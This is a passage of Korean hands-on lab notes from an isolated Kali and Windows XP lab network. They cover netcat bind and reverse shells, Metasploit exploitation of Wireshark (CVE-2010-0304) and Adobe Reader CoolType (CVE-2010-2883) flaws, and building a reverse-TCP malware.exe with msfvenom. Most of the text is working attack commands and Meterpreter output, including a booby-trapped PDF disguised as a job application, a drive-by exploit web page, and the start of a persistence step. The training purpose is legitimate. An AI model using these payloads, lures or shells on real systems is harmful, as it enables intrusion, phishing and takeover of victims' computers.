3. Victim 포트 오픈
Cmd line: -lvp 8000

다른 터미널을 열어서 열린 포트를 확인한다.
C:\&gt;netstat -na |findstr 8000
  TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING

4. Attacker 에서 접속
[root@kali ~]# nc 200.200.200.4 8000

5. 포트 확인
다른 터미널을 접속해서 연결된 포트를 확인한다.
C:\&gt; netstat -na | grep 8000
TCP   200.200.200.4:8000     200.200.200.3:51200  ESTABLISHED

[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:51200     200.200.200.4:8000      ESTABLISHED

6. data 전송/확인
C:\&gt; nc -lvp 8000
aaa
bbb
ccc
ddd

[root@kali ~]# nc 200.200.200.4 8000
aaa
bbb
ccc
ddd
^C  &lt;-- 통신을 종료하기 위해서는 Ctrl + C 를 누른다.


                     방화벽이 있는 경우
  Attacker               Victim
+----------+       |  +----------+
|          |   &lt;--+|  |          |
|          |      ||  |          |
|  51200 ---------+|       8000  |
|          |       |  |          |
|          |       |  |          |
+----------+       |  +----------+
    .3                     .4
         200.200.200.0/24

7. 방화벽 설정
cmd -&gt; firewall.cpl -&gt; 사용

방화벽에서 메세지가 나오면 계속 차단을 클릭한다.
C:\&gt;nc -lvp 8000
listening on [any] 8000 ...

8. Attacker에서 접속
Attacker에서 Victim으로 접속을 하지만 방화벽에 의해서 차단되서 접속이 금지가 된다.
[root@kali ~]# nc 200.200.200.4 8000
(UNKNOWN) [200.200.200.4] 8000 (?) : Connection timed out
</code></pre><blockquote>
<p><strong>실습&gt; reverse connection 이해하기</strong></p>
</blockquote>
<pre><code>reverse connection 은 Attacker에서 포트를 열고 Victime이 Attacker로 접속하는 연결 방식이다.
이 방식이 필요한 이유는 Victim이 포트를 열었지만 방화벽에서 Attacker가 접속할 수 없는 상황이 되기 때문이다.


Attacker(Kali): 200.200.200.3
Victim(Windows XP: 200.200.200.4

                     방화벽이 있는 경우
  Attacker               Victim
+----------+       |  +----------+
|          |       |  |          |
|          |       |  |          |
|  8000  &lt;---------------  1032  |
|          |       |  |          |
|          |       |  |          |
+----------+       |  +----------+
    .3                     .4
         200.200.200.0/24

reverese connection 의 조건 : 
- Victim에 방화벽이 활성화되어 있어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 Attacker가 접속할 수 없는 상황이 된다.
- 그러므로 Victim에서 Attacker쪽으로 나와야 하는 상황이다.

1. Victim 방화벽 활성화
위에서 이미 설정했으므로 Skip

2. Attacker 포트 오픈
[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...

다른 터미널을 접속해서 연결된 포트를 확인한다.
[root@kali ~]# netstat -nltp | grep 8000
tcp        0      0 0.0.0.0:8000            0.0.0.0:*               LISTEN      289033/nc 

3. Victim에서 접속

C:\&gt;nc 200.200.200.3 8000

[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...
connect to [200.200.200.3] from victim1.linuxmaster.net [200.200.200.4] 1032

4. 포트 확인
다른 터미널을 열어서 연결을 확인한다.
ESTABLISHED: 연결이 되어있다는 의미이다.
[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:8000      200.200.200.4:1032      ESTABLISHED

C:\&gt;netstat -na | findstr 8000
  TCP    200.200.200.4:1032     200.200.200.3:8000     ESTABLISHED

5. Data 전송 확인

[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...
connect to [200.200.200.3] from victim1.linuxmaster.net [200.200.200.4] 1032
aaa
bbb
^C  &lt;-- 통신을 종료하기 위해서는 Ctrl + C 를 누른다.

Cmd line: 200.200.200.3 8000    
aaa                             
bbb   
</code></pre><blockquote>
<p><strong>실습&gt; bind shell 이해하기</strong></p>
</blockquote>
<pre><code>bind shell은 bind connection 을 기반으로 Victim에서 포트를 열고 포트 뒤에서 쉘이 대기하고 있다가
Attacker가 Victim으로 접속하면 쉘이 실행되는 공격 형태이다.

Windows 버전
                     방화벽이 없는 경우
  Attacker               Victim
+----------+          +----------+
|          |          |          |
|          |          |     -p   |
|  33436 ----------------&gt; 8000 [cmd.exe] -e 
|          |          |          |
|          |          |          |
+----------+          +----------+
    .3                     .4
         200.200.200.0/24

bind shell의 조건 : 
- Victim에 방화벽이 비활성화 되어 있어야 한다.
- 방화벽이 있다면 Victim에서 포트를 열었지만 Attacker가 접속할 수 없는 상황이 된다.
- Victim에 포트를 열고 뒤에 쉘(cmd.exe)이 대기하고 있어야 한다.

1. Victim 방화벽 해제
firewall.cpl -&gt; 사용 안함

2. Victim 포트 오픈
c:\&gt; nc -lvp 8000 -e cmd.exe
listening on [any] 8000 ...

3. Attacker에서 접속
[root@kali ~]# nc 200.200.200.4 8000 
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\&gt;dir
   :
   :(생략)

4. 포트 확인
Attacker와 Victim의 연결된 포트를 확인한다.
[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:33436     200.200.200.4:8000      ESTABLISHED

C:\&gt;netstat -na | findstr 8000
  TCP    200.200.200.4:8000     200.200.200.3:33436    ESTABLISHED

5. 연결 종료
C:\&gt;exit

</code></pre><blockquote>
<p><strong>실습&gt; reverse shell 이해하기</strong></p>
</blockquote>
<pre><code>reverse shell은 reverse connection 을 기반으로 Attacker에서 포트를 열고 대기하고 있다가
Victim이 Attacker로 접속할 때 쉘을 가지고 나가면 연결 후에 Victim의 쉘이 실행되는 공격 형태이다.


Attacker(Kali): 200.200.200.3
Victim(Windows XP: 200.200.200.4

                     방화벽이 있는 경우
  Attacker               Victim
+----------+       |  +----------+
|          |       |  |          |
|          |       |  |          |
|  8000  &lt;---------------  1039 [cmd.exe] -e
|          |       |  |          |
|          |       |  |          |
+----------+       |  +----------+
    .3                     .4
         200.200.200.0/24

reverse shell의 조건 : 
- Victim에 방화벽이 활성화(Inbound 쪽) 되어 있어도 상관없다.
- Victim에 방화벽이 Outbound 쪽도 설정되어 있다면 연결이 안될 수 있다.
- Victim에 방화벽이 있다면 Attacker에서 포트를 열었기 때문에 Attacker로 접속할 수 있는 상황이 된다.
- Victim이 Attacker로 연결할 때 쉘(cmd.exe)을 가지고 나가야 한다.

1. Victim 방화벽 활성화
firewall.cpl -&gt; 사용

2. Attacker 포트 오픈
[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...

3. Victim 에서 접속
c:\&gt;nc attacker.linuxmaster.net 8000 -e cmd.exe

[root@kali ~]# nc -lvp 8000
listening on [any] 8000 ...
connect to [200.200.200.3] from victim1.linuxmaster.net [200.200.200.4] 1039
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\&gt;

4. 포트 확인

[root@kali ~]# netstat -nat|grep 8000
tcp        0      0 200.200.200.3:8000      200.200.200.4:1039      ESTABLISHED

C:\&gt;netstat -na | findstr 8000
  TCP    200.200.200.4:1039     200.200.200.3:8000     ESTABLISHED
</code></pre><blockquote>
<p><strong>실습&gt; wireshark 취약점을 이용한 침투</strong></p>
</blockquote>
<pre><code>CVE-2010-0304
wireshark_lwres_getaddrbyname 취약점
https://www.infosecmatter.com/metasploit-module-library/?mm=exploit/multi/misc/wireshark_lwres_getaddrbyname


-- 조건 --
Victim에서 패킷을 덤프 받고 있어야 한다.
-- 조건 --

wireshark의 취약점을 메타스플로잇 안에 공격코드가 들어있다.

1. 패킷 덤프
Victim 윈도우에서 패킷을 덤프 받고 Attacker에서 ping으로 패킷이 잘 수집이 되는지 확인한다.
[root@kali ~]# ping 200.200.200.4

2. 공격 패킷 전송
윈도우에서 패킷을 덤프받고 있을 때 공격패킷을 날리면 와이어샤크가 버퍼오버플로우를 일으켜 죽으면서 공격자에게 
리버스커넥션으로 연결된다. 결국 미터프리터 쉘이 실행된다.
자동화 하기 위해서 파일로 생성해서 msfconsole -r 로 실행한다.

vi &gt; :set mouse= &gt; 붙여넣기
[root@kali ~]# vi wireshark_lwres_getaddrbyname.rc
use exploit/multi/misc/wireshark_lwres_getaddrbyname_loop
set payload windows/meterpreter/reverse_tcp
set RHOSTS 200.200.200.4
set LHOST 200.200.200.3
set target 4
exploit

[root@kali ~]# msfconsole -r wireshark_lwres_getaddrbyname.rc 
  :
  :(생략)
[*] Processing wireshark_lwres_getaddrbyname.rc for ERB directives.
resource (wireshark_lwres_getaddrbyname.rc)&gt; use exploit/multi/misc/wireshark_lwres_getaddrbyname_loop
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
resource (wireshark_lwres_getaddrbyname.rc)&gt; set payload windows/meterpreter/reverse_tcp
payload =&gt; windows/meterpreter/reverse_tcp
resource (wireshark_lwres_getaddrbyname.rc)&gt; set RHOSTS 200.200.200.4
RHOSTS =&gt; 200.200.200.4
resource (wireshark_lwres_getaddrbyname.rc)&gt; set LHOST 200.200.200.3
LHOST =&gt; 200.200.200.3
resource (wireshark_lwres_getaddrbyname.rc)&gt; set target 4
target =&gt; 4
resource (wireshark_lwres_getaddrbyname.rc)&gt; exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 200.200.200.3:4444 
msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) &gt; [*] Sending malformed LWRES packet every 5 seconds.
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:4444 -&gt; 200.200.200.4:1035) at 2022-08-23 03:16:42 -0400

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) &gt; 
msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) &gt; sessions 

Active sessions
===============

  Id  Name  Type                     Information                     Connection
  --  ----  ----                     -----------                     ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM_WINX  200.200.200.3:4444 -&gt; 200.200.2
                                     P                               00.4:1035 (200.200.200.4)

msf6 exploit(multi/misc/wireshark_lwres_getaddrbyname_loop) &gt; sessions 1
[*] Starting interaction with 1...

meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows


meterpreter &gt; help migrate
Usage: migrate &lt;&lt;pid&gt; | -P &lt;pid&gt; | -N &lt;name&gt;&gt; [-t timeout]

Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.

meterpreter &gt; help ps
Usage: ps [ options ] pattern

Use the command with no arguments to see all running processes.
The following options can be used to filter those results:

OPTIONS:

    -A   Filter on architecture
    -c   Filter only child processes of the current shell
    -h   Help menu.
    -S   Filter on process name
    -s   Filter only SYSTEM processes
    -U   Filter on user name
    -x   Filter for exact matches rather than regex

meterpreter &gt; ps

Process List
============

 PID   PPID  Name               Arch  Session  User                 Path
 ---   ----  ----               ----  -------  ----                 ----
 0     0     [System Process]
 4     0     System             x86   0
 120   700   alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe
 188   700   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tool
 320   1052  wuauclt.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wuauclt.exe
 448   1012  vmtoolsd.exe       x86   0        VICTIM_WINXP\ksw     C:\Program Files\VMware\VMware Tool
 480   880   wmiprvse.exe       x86   0                             C:\WINDOWS\system32\wbem\wmiprvse.e
 568   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 632   568   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 656   568   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.ex
 700   656   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 712   656   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 868   700   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tool
 880   700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 964   700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1012  608   explorer.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\Explorer.EXE
 1052  700   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1108  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1140  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1312  1012  cmd.exe            x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\cmd.exe
 1380  700   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1476  1688  dumpcap.exe        x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\dumpcap.
 1484  1012  Tcpview.exe        x86   0        VICTIM_WINXP\ksw     C:\Documents and Settings\ksw\占쏙옙쏙옙占쏙옙\Sysinternals
                                                                    Suite\Tcpview.exe
 1552  1052  wscntfy.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wscntfy.exe
 1624  1892  cmd.exe            x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\cmd.exe
 1688  1012  wireshark.exe      x86   0        VICTIM_WINXP\ksw     C:\Program Files\Wireshark\wireshar
 1752  1012  ctfmon.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\ctfmon.exe
 1864  700   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1988  428   conime.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\conime.exe
 1992  1012  rundll32.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\rundll32.exe
 2000  700   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tool
                                                                    hService.exe

migrate 명령어는 다른 프로세스로 갈아타는 명령어이다.
migrate를 하지 않으면 와이어샤크가 종료되면 접속이 끊어지므로 다른 프로세스로 갈아타야 한다.
explorer.exe 의 PID는 다르기 때문에 자신의 PID를 ps로 확인한 후 갈아탄다.
meterpreter &gt; migrate 1012
[*] Migrating from 1688 to 1012...
[*] Migration completed successfully.
meterpreter &gt;  shell
Process 532 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw&gt;exit
</code></pre><blockquote>
<p><strong>실습&gt; Adobe Acrobat Reader(pdf) 취약점을 이용한 침투</strong></p>
</blockquote>
<pre><code>취약점 : pdf adobe_cooltype_sing

1. Adobe Reader와 Acrobat의 취약점의 개요

Release date: September 8, 2010
Last updated: October 5, 2010
Vulnerability identifier: APSA10-02
CVE number: CVE-2010-2883
Platform: All

※ Adobe Reader와 Acrobat의 CoolType.dll 모듈의 해결방안은 2010년 10월 5일 발표되었다.

- 개요
 o Adobe Reader와 Acrobat의 CoolType.dll 모듈이 잘못된 SING(Smart INdependent Glyphlets)
    글꼴이 포함된 PDF문서를 처리하는 과정에서, 오버플로우가 발생하여 원격코드가 실행되는
    취약점이 발견됨 [1, 2]
 o 공격자는 웹 페이지 은닉, 스팸 메일, 메신저의 링크 등을 통해 특수하게 조작된 PDF 문서를
    사용자가 열어보도록 유도하여 악성코드 유포 가능
 o Adobe Reader와 Acrobat 최신 버전에서도 해당 취약점이 존재하므로, 신뢰할 수 없는 PDF
    파일을 열어보지 않는 등의 사용자 주의가 요구됨

□ 영향 받는 시스템
 o 영향 받는 소프트웨어 [1]
  - 윈도우, 매킨토시 환경에서 동작하는 Adobe Acrobat 9.3.4 및 이전 버전 
  - 윈도우, 매킨토시, 유닉스 환경에서 동작하는 Adobe Reader 9.3.4 및 이전 버전

□ 해결 방안
 o Adobe Reader/Acrobat 9.3.4와 이전 버전 사용자는 9.4.0 버전으로 업데이트
  - Adobe Acrobat/Reader의 메뉴에서 &quot;도움말&quot; → &quot;업데이트 확인&quot;을 선택
  - Adobe 제품 업데이트 페이지[3]에서 해당 소프트웨어를 선택 후 다운로드 및 설치
 o 향후에도 유사 취약점 노출로 인한 피해예방을 위해 아래와 같이 안전한 인터넷 이용 습관을
    준수해야 함
  - 신뢰되지 않은 웹사이트의 PDF 파일 다운로드 주의
  - 의심되는 이메일에 포함된 PDF 파일 링크 또는 첨부를 클릭하지 않음
  - 개인방화벽과 백신제품 사용 등 

□ 용어 정리
 o PDF(Portable Document Format) : Adobe社가 개발한 다양한 플랫폼을 지원하는
    전자문서 파일 형식
 o Adobe Acrobat : PDF 문서 편집/제작을 지원하는 상용 프로그램
 o Adobe Reader : PDF 문서의 편집 기능은 없이 보기/인쇄만 할 수 있는 무료 프로그램
 o CoolType.dll : Adobe社 제품의 글꼴 표현 해상도를 높여주는 역할을 하는 모듈
 o SING(Smart INdependent Glyphlets) Font : 2005년 Adobe社에 의해 개발된 디지털 글꼴


□ 기타 문의사항
 o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118


[참고사이트]
[1] http://www.adobe.com/support/security/advisories/apsa10-02.html
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2883
[3] http://www.adobe.com/downloads/updates/

2. 공격 시나리오
Victim(피해자)쪽에서 pdf 파일을 열어보는 순간 Attacker(공격자)쪽에 연결되는 Reverse Connection 방식이다. 
이를 통해 다양한 방법으로 시나리오를 만들 수 있다.

가령 기업의 인사담당자 메일로 공격자가 pdf로 위장한 악성코드를 전송한다던지 
웹페이지에 pdf 파일을 올려놓고 공격 대상자들에게 미끼를 던져 이를 낚아챌 수도 있는 다양한 공격들을 생각해볼 수 있다.

이 취약점을 이용한 공격유형은 두 가지가 있다. 
첫 번째 방법은 공격파일(pdf)을 생성해서 Victim(피해자)이 이 파일을 열어볼 때 장악하는 방법
두 번째 방법은 웹 페이지에 공격코드를 삽입해서 올려놓고 Victim(피해자)이 웹페이지를 보는 순간 
자동으로 pdf가 실행되서 장악하는 방법들을 생각해볼 수 있다.

참고로 공격 pdf 파일을 악성 웹페이지에 올려놓고 Victim(피해자)이 이를 열어볼 때 Victim(피해자)에 
pdf를 설치하지 않았다면 브라우저에서 코드가 보이면서 공격은 더 이상 진행이 안된다는 걸 확인했다.

Attacker (공격자) Kali: 200.200.200.3
Victim   (피해자) Windows XP: 200.200.200.4

공격 시나리오 1: 공격파일(pdf)을 생성해서 윈도우 장악하기
공격자는 버퍼오버플로우를 발생시키는 공격코드를 pdf 파일로 만든 후
웹페이지에 게시한 후 victim(피해자)에서 pdf 파일로 접근 시 victim의 PC를 장악한다.

1. 공격 파일 생성
[root@kali ~]# vi adobe_cooltype_sing.rc
use exploit/windows/fileformat/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
exploit

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 200.200.200.3
set LPORT 443
run


[root@kali ~]# msfconsole -r adobe_cooltype_sing.rc 

  :
  :(생략)
[*] Creating &#39;msf.pdf&#39; file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf  &lt;-- 공격 파일 생성
resource (adobe_cooltype_sing.rc)&gt; use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (adobe_cooltype_sing.rc)&gt; set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD =&gt; windows/meterpreter/reverse_tcp
resource (adobe_cooltype_sing.rc)&gt; set LHOST 200.200.200.3
LHOST =&gt; 200.200.200.3
resource (adobe_cooltype_sing.rc)&gt; set LPORT 443
LPORT =&gt; 443
resource (adobe_cooltype_sing.rc)&gt; run
[*] Started reverse TCP handler on 200.200.200.3:443   &lt;-- 공격 포트 대기

다른 터미널을 열어서 msf.pdf 를 웹디렉터리에 복사하고 웹서버를 실행한다.
[root@kali ~]# mv .msf4/local/msf.pdf /var/www/html/김초롱입사지원서.pdf
[root@kali ~]# systemctl start apache2

2. URL 전송
Victim(Target)에게 pdf URL을 전송해서 열어볼 수 있도록 유도한다. 
http://200.200.200.3/김초롱입사지원서.pdf

  :
  :(생략)
[*] Sending stage (175686 bytes) to 200.200.200.200
[*] Meterpreter session 1 opened (200.200.200.3:443 -&gt; 200.200.200.200:1090) at 2022-10-06 04:41:33 -0400

meterpreter &gt; 
meterpreter &gt; ps

Process List
============

 PID   PPID  Name               Arch  Session  User                 Path
 ---   ----  ----               ----  -------  ----                 ----
 0     0     [System Process]
 4     0     System             x86   0
 376   4     smss.exe           x86   0        NT AUTHORITY\SYSTEM  \SystemRoot\System32\smss.exe
 408   1420  IEXPLORE.EXE       x86   0        VICTIM_WINXP\ksw     C:\Program Files\Internet Explorer\iexplore.exe
 452   852   wmiprvse.exe       x86   0                             C:\WINDOWS\system32\wbem\wmiprvse.exe
 532   376   csrss.exe          x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\csrss.exe
 556   376   winlogon.exe       x86   0        NT AUTHORITY\SYSTEM  \??\C:\WINDOWS\system32\winlogon.exe
 588   1028  wscntfy.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wscntfy.exe
 668   556   services.exe       x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\services.exe
 680   556   lsass.exe          x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\lsass.exe
 808   668   alg.exe            x86   0                             C:\WINDOWS\System32\alg.exe
 840   668   vmacthlp.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmacthlp.exe
 852   668   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\svchost.exe
 932   668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1028  668   svchost.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\System32\svchost.exe
 1072  668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1088  1420  rundll32.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\rundll32.exe
 1108  668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1116  1420  vmtoolsd.exe       x86   0        VICTIM_WINXP\ksw     C:\Program Files\VMware\VMware Tools\vmtoolsd.exe
 1204  1420  ctfmon.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\ctfmon.exe
 1240  1028  wuauclt.exe        x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\wuauclt.exe
 1420  1396  explorer.exe       x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\Explorer.EXE
 1516  1316  conime.exe         x86   0        VICTIM_WINXP\ksw     C:\WINDOWS\system32\conime.exe
 1588  668   spoolsv.exe        x86   0        NT AUTHORITY\SYSTEM  C:\WINDOWS\system32\spoolsv.exe
 1772  668   svchost.exe        x86   0                             C:\WINDOWS\system32\svchost.exe
 1900  668   VGAuthService.exe  x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe
 2020  668   vmtoolsd.exe       x86   0        NT AUTHORITY\SYSTEM  C:\Program Files\VMware\VMware Tools\vmtoolsd.exe

meterpreter &gt; migrate 1420
[*] Migrating from 408 to 1420...
[*] Migration completed successfully.

meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter &gt; shell
Process 612 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw&gt;exit
</code></pre><blockquote>
<p><strong>실습&gt; malware.exe 제작하기</strong></p>
</blockquote>
<pre><code>msfvenom 옵션
lhost: 공격자 IP주소
lport: 공격자 포트번호
-f   : 실행파일 형식
-o   : 악성파일 경로
-p   : 공격 페이로드

1. 악성코드 제작
[root@kali ~]# msfvenom -p windows/meterpreter/reverse_tcp \
&gt; lhost=200.200.200.3 lport=80 -f exe -o /var/www/html/malware.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /var/www/html/malware.exe

2. 웹서버 실행
[root@kali ~]# systemctl start apache2

3. 악성코드 다운로드
Victim에서 악성코드를 다운로드 한다.
http://200.200.200.3/malware.exe

4. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.
[root@kali ~]# /etc/init.d/apache2 stop
[root@kali ~]# vi malware.rc
info multi/handler
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set lhost 200.200.200.3
set lport 80
exploit

[root@kali ~]# msfconsole -r malware.rc 

5. 악성코드 실행
Victim 에서 악성코드를 다운로드 받아서 실행하면 공격자의 msfconsole에 메세지가 나타나고  
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.
실제로 웹에 사용하는 데이터를 체크하는 것이 아니고 80번 포트이면 허용하는 것이므로 이 부분을 생각해야 한다.
[*] Started reverse TCP handler on 200.200.200.3:80 
[*] Sending stage (175686 bytes) to 200.200.200.4
[*] Meterpreter session 1 opened (200.200.200.3:80 -&gt; 200.200.200.4:1114) at 2023-03-09 19:33:17 -0500

meterpreter &gt; 

meterpreter &gt; sysinfo 
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

meterpreter &gt; shell
Process 1156 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면&gt;exit
</code></pre><blockquote>
<p><strong>실습&gt; Adobe Acrobat Reader(pdf) 취약점을 이용한 침투</strong></p>
</blockquote>
<pre><code>공격 시나리오 2 : 웹 페이지에 공격코드를 삽입해서 윈도우 장악하기
공격자는 msf로 대기하고 있고
Victim이 웹페이지에 접근할 때 취약한 pdf 프로그램이 자동으로 실행되면서 meterpreter 와 연결된다.

1. 공격 파일 생성
80, 443 포트를 열어 놓아야 한다... 
[root@kali ~]# vi adobe_cooltype_sing2.rc
use exploit/windows/browser/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set URIPATH pdf.html
set LHOST 200.200.200.3
set LPORT 443
set SRVPORT 80 
run

2. 공격 대기
80번 포트로 대기를 하기 때문에 웹서버를 중지한다.
[root@kali ~]# systemctl stop apache2 or /etc/init.d/apache2 stop

[root@kali ~]# msfconsole -r adobe_cooltype_sing2.rc 
  :
  :(생략)
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 200.200.200.3:443  &lt;-- 공격 포트 대기
[*] Using URL: http://200.200.200.3/pdf.html
[*] Server started.

3. 웹페이지 접속
피해자가 공격자의 웹서버로 접속하면 리버스 커넥션이 연결된다.
http://200.200.200.3/pdf.html

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; 
[*] 200.200.200.200  adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.200  adobe_cooltype_sing - Sending crafted PDF
[*] 200.200.200.200  adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 200.200.200.200  adobe_cooltype_sing - Sending crafted PDF
[*] Sending stage (175686 bytes) to 200.200.200.200
[*] Session ID 1 (200.200.200.3:443 -&gt; 200.200.200.200:1101) processing InitialAutoRunScript &#39;post/windows/manage/priv_migrate&#39;
[*] Current session process is iexplore.exe (1272) as: VICTIM_WINXP\ksw
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (668)

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; 
[+] Successfully migrated to services.exe (668) as: NT AUTHORITY\SYSTEM
[*] Meterpreter session 1 opened (200.200.200.3:443 -&gt; 200.200.200.200:1101) at 2022-10-06 04:51:14 -0400

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; sessions 

Active sessions
===============

  Id  Name  Type                     Information                Connection
  --  ----  ----                     -----------                ----------
  1         meterpreter x86/windows  VICTIM_WINXP\ksw @ VICTIM  200.200.200.3:443 -&gt; 200.2
                                     _WINXP                     00.200.200:1101 (10.10.10.
                                                                100)

msf6 exploit(windows/browser/adobe_cooltype_sing) &gt; sessions 1
[*] Starting interaction with 1...

meterpreter &gt; sysinfo
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter &gt; shell
Process 300 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32&gt; exit
</code></pre><blockquote>
<p><strong>실습&gt; Adobe Acrobat Reader(pdf) + malware.exe</strong></p>
</blockquote>
<pre><code>레지스트리 참고: https://ko.wikipedia.org/wiki/윈도우_레지스트리

Adobe Acrobat Reader(pdf) 취약점을 이용한 침투를 수행한 후 실행한다.

부팅해서 로그인을 하면 자동으로 실행될 수 있게 악성코드를 업로드 한다.
meterpreter shell 에서 upload 명령어의 도움말을 살펴본다.
meterpreter &gt; help upload
Usage: upload [options] src1 src2 src3 ... destination

Uploads local files and directories to the remote machine.

OPTIONS:

    -h  Help banner
    -r  Upload recursively

